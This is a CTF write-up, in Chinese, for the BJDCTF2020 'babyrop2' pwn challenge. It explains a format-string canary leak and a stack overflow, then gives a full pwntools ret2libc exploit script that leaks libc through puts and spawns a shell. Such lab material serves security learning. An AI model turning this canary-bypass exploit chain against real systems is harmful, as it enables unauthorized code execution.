BJDCTF2020 Babyrop2

Uncategorized
2.8k words

最近这段时间应该会陆陆续续补上以前做的pwn题的wp,再来复习一下

Involved Knowledge

  • Format String
  • Stackoverflow
  • ret2libc

Checksec

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

64位,开启了Canary(金丝雀)和NX(堆栈不可执行),那么如果有canary的话,我们在进行rop时首先就是要泄露canary

Analyze

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  gift();
  vuln();
  return 0;
}

main函数里面依次执行三个函数init(),gift(),vuln(),依次跟进

init()

unsigned __int64 init()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  puts("Can u return to libc ?");
  puts("Try u best!");
  return __readfsqword(0x28u) ^ v1;
}

setvbuf进行了初始化了输入输出流该如何缓冲,将缓冲置零

gift()

unsigned __int64 gift()
{
  char format[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("I'll give u some gift to help u!");
  __isoc99_scanf("%6s", format);
  printf(format);
  puts(byte_400A05);
  fflush(0LL);
  return __readfsqword(0x28u) ^ v2;
}

__isoc99_scanf("%6s", format); printf(format);

这里有format string,我们可以尝试泄露出canary,通过gdb找到canary的偏移

unsigned __int64 vuln()
{
  char buf[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Pull up your sword and tell me u story!");
  read(0, buf, 0x64uLL);
  return __readfsqword(0x28u) ^ v2;
}

这里是个stackoverflow,buf只有0x18大小,但是read的长度是0x64,我们可以在这里写ropchain

分析到这里结束

我们拿到canary后在rop时把canary放到它原来的位置上就行,后面跟上了p64(0)是因为还有8个字节才覆盖到返回地址,然后打ropchain

EXP

    # Arch:     amd64-64-little
    # RELRO:    Partial RELRO
    # Stack:    Canary found
    # NX:       NX enabled
    # PIE:      No PIE (0x400000)

from pwn import *
from LibcSearcher import *
context(os = 'linux' , arch = 'amd64' , log_level = 'debug')
local = 1
if local == 0:
    io = remote('1.14.71.254' , 28377)
else:
    io = process('/mnt/c/Users/M1sceden4/Desktop/pwn/babyrop2_bjdctf_2020')
elf = ELF('/mnt/c/Users/M1sceden4/Desktop/pwn/babyrop2_bjdctf_2020')
io.recvuntil("I'll give u some gift to help u!\n")
payload = b'%7$p'
io.sendline(payload)
canary = int(io.recv(18) , 16)
success('canary = ' + hex(canary))

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = elf.sym['main']
pop_rdi_ret = 0x0000000000400993
ret = 0x00000000004005f9
vuln = elf.sym['vuln']
payload = b'a' * (0x20 - 0x8) + p64(canary) + p64(0) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
io.recvuntil('Pull up your sword and tell me u story!\n')
io.sendline(payload)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
success('puts_addr = ' + hex(puts_addr))

libc = LibcSearcher('puts' , puts_addr)
libc_base = puts_addr - libc.dump('puts')
success('libc_base = ' + hex(libc_base))

system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
success('system = ' + hex(system))
success('bin_sh ' + hex(bin_sh))
payload = b'a' * (0x20 - 0x8) + p64(canary) + p64(0) + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
io.recvuntil("I'll give u some gift to help u!\n")
io.sendline('1')
io.recvuntil('Pull up your sword and tell me u story!\n')
io.sendline(payload)
io.interactive()